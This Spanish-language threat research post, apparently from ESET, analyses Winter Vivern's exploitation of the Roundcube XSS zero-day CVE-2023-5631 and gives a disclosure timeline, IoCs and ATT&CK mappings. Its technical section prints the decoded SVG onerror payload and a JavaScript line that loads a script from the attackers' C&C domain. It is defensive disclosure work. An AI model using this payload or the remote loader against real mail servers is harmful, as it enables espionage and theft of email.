ESET Research ha estado siguiendo de cerca las operaciones de ciberespionaje de Winter Vivern durante más de un año y, durante nuestro monitoreo de rutina, descubrimos que el grupo comenzó a explotar una vulnerabilidad XSS de día cero en el servidor de correo web Roundcube el 11 de octubre de 2023. Se trata de una vulnerabilidad diferente a la CVE-2020-35730, que también fue explotada por el grupo según nuestra investigación.

Según los datos de telemetría de ESET, la campaña se dirigió a servidores de Roundcube Webmail pertenecientes a entidades gubernamentales y a un think tank, todos ellos en Europa.

Cronología de la divulgación de la vulnerabilidad:

  • 2023-10-12: ESET Research informó de la vulnerabilidad al equipo de Roundcube.
  • 2023-10-14: El equipo de Roundcube respondió y reconoció la vulnerabilidad.
  • 2023-10-14: El equipo de Roundcube parcheó la vulnerabilidad.
  • 2023-10-16: El equipo de Roundcube publicó actualizaciones de seguridad para solucionar la vulnerabilidad (1.6.4, 1.5.5 y 1.4.15).
  • 2023-10-18: ESET CNA publica un CVE para la vulnerabilidad(CVE-2023-5631).
  • 2023-10-25: Publicación del blog de ESET Research.

Nos gustaría agradecer a los desarrolladores de Roundcube por su rápida respuesta y por parchear la vulnerabilidad en tan poco tiempo.

Perfil de Winter Vivern

Winter Vivern es un grupo de ciberespionaje revelado por primera vez por DomainTools en 2021. Se cree que lleva activo al menos desde 2020 y sus objetivos son gobiernos de Europa y Asia Central. Para comprometer a sus objetivos, el grupo utiliza documentos maliciosos, sitios web de phishing y un backdoor PowerShell personalizado (véanse los artículos del Centro Estatal de Ciberprotección de Ucrania y de SentinelLabs). Creemos con poca confianza que Winter Vivern está vinculado a MoustachedBouncer, un sofisticado grupo alineado con Bielorrusia sobre el que publicamos por primera vez en agosto de 2023.

Winter Vivern ha estado atacando servidores de correo electrónico Zimbra y Roundcube pertenecientes a entidades gubernamentales al menos desde 2022 (véase este artículo de Proofpoint). En particular, observamos que el grupo explotó CVE-2020-35730, otra vulnerabilidad XSS en Roundcube, en agosto y septiembre de 2023. Sednit (también conocido como APT28) también está explotando esta antigua vulnerabilidad XSS en Roundcube, a veces contra los mismos objetivos.

Detalles técnicos

La explotación de la vulnerabilidad XSS, asignada CVE-2023-5631, puede realizarse de forma remota mediante el envío de un mensaje de correo electrónico especialmente diseñado. En esta campaña de Winter Vivern, los correos electrónicos se enviaron desde team.managment@outlook[.]com y tenían como asunto Get started in your Outlook, como se muestra en la Figura 1.

Figure-1-wintervivern-email
Figura 1. Mensaje de correo electrónico malicioso

A primera vista, el correo electrónico no parece malicioso, pero si examinamos el código fuente HTML, que se muestra en la Figura 2, podemos ver una etiqueta SVG al final, que contiene una carga útil codificada en base64.

Figure-2-winter-vivern-email-message
Figura 2. Mensaje de correo electrónico con una etiqueta SVG maliciosa

Una vez que decodificamos el valor codificado en base64 en el atributo href de la etiqueta use, tenemos:

<svg id="x" xmlns="http://www.w3.org/2000/svg"> <image href="x" onerror="eval(atob('<carga útil codificada en base64>'))" /></svg>

Como el argumento de valor x del atributo href no es una URL válida, se activará el atributo onerror de este objeto. Decodificando el payload en el atributo onerror obtenemos el siguiente código JavaScript (con la URL maliciosa modificada manualmente), que será ejecutado en el navegador de la víctima en el contexto de su sesión Roundcube:

var fe=document.createElement('script');fe.src="https://recsecas[.]com/controlserver/checkupdate.js";document.body.appendChild(fe);

Sorprendentemente, nos dimos cuenta de que la inyección de JavaScript funcionaba en una instancia de Roundcube totalmente parcheada. Resultó que se trataba de una vulnerabilidad XSS de día cero que afectaba al script del lado del servidor rcube_washtml.php, que no sanea correctamente el documento SVG malicioso antes de añadirlo a la página HTML interpretada por un usuario de Roundcube. Informamos de ello a Roundcube y fue parcheado el14 de octubre de 2023 (ver este commit). La vulnerabilidad afecta a las versiones de Roundcube 1.6.x antes de 1.6.4, 1.5.x antes de 1.5.5, y 1.4.x antes de 1.4.15.

En resumen, mediante el envío de un mensaje de correo electrónico especialmente diseñado, los atacantes son capaces de cargar código JavaScript arbitrario en el contexto de la ventana del navegador del usuario de Roundcube. No se requiere ninguna interacción manual aparte de ver el mensaje en un navegador web.

La segunda etapa es un simple cargador JavaScript llamado checkupdate.js y se muestra en la Figura 3.

Figure-3-javascript-loader
Figura 3. Cargador JavaScript

El payload JavaScript final - mostrado en la Figura 4 - es capaz de listar carpetas y correos electrónicos en la cuenta Roundcube actual, y de exfiltrar mensajes de correo electrónico al servidor C&C haciendo peticiones HTTP a https://recsecas[.]com/controlserver/saveMessage.

Figure-4-final-payload
Figura 4. Carga útil JavaScript final exfiltrando mensajes de correo electrónico de la cuenta Roundcube (parte del script ofuscado eliminado para mayor claridad)

Conclusión

Winter Vivern intensificó sus operaciones utilizando una vulnerabilidad de día cero en Roundcube. Anteriormente, se valía de vulnerabilidades conocidas en Roundcube y Zimbra, de las que existen pruebas de concepto en línea.

A pesar de la escasa sofisticación de las herramientas del grupo, constituye una amenaza para los gobiernos europeos debido a su persistencia, a la realización muy regular de campañas de phishing y al hecho de que un número significativo de aplicaciones orientadas a Internet no se actualizan con regularidad a pesar de que se sabe que contienen vulnerabilidades.

IoCs

Archivos

SHA-1

Filename

Detection

Description

97ED594EF2B5755F0549C6C5758377C0B87CFAE0

checkupdate.js

JS/WinterVivern.B

JavaScript loader.

8BF7FCC70F6CE032217D9210EF30314DDD6B8135

N/A

JS/Kryptik.BIK

JavaScript payload exfiltrating emails in Roundcube.

Red

IP

Domain

Hosting provider

First seen

Details

38.180.76[.]31

recsecas[.]com

M247 Europe SRL

2023-09-28

Winter Vivern C&C server

Direcciones de correo electrónico

team.managment@outlook[.]com

Técnicas ATT&CK de MITRE

Esta tabla se ha elaborado utilizando la versión 13 de MITRE ATT&CK.

Tactic

ID

Name

Description

Resource Development

T1583.001

Acquire Infrastructure: Domains

Winter Vivern operators bought a domain at Registrar.eu.

T1583.004

Acquire Infrastructure: Server

Winter Vivern operators rented a server at M247.

T1587.004

Develop Capabilities: Exploits

Winter Vivern operators probably developed an exploit for Roundcube.

Initial Access

T1190

Exploit Public-Facing Application

Winter Vivern sent an email exploiting CVE‑2023-5631 in Roundcube.

T1566

Phishing

The vulnerability is triggered via a phishing email, which should be opened in the Roundcube webmail by the victim.

Execution

T1203

Exploitation for Client Execution

The JavaScript payload is executed by an XSS vulnerability in Roundcube.

Discovery

T1087.003

Account Discovery: Email Account

The JavaScript payload can list folders in the email account.

Collection

T1114.002

Email Collection: Remote Email Collection

The JavaScript payload can exfiltrate emails from the Roundcube account.

Command and Control

T1071.001

Application Layer Protocol: Web Protocols

C&C communications use HTTPs.

Exfiltration

T1041

Exfiltration Over C2 Channel

Exfiltration is done via HTTPs and to the same C&C server.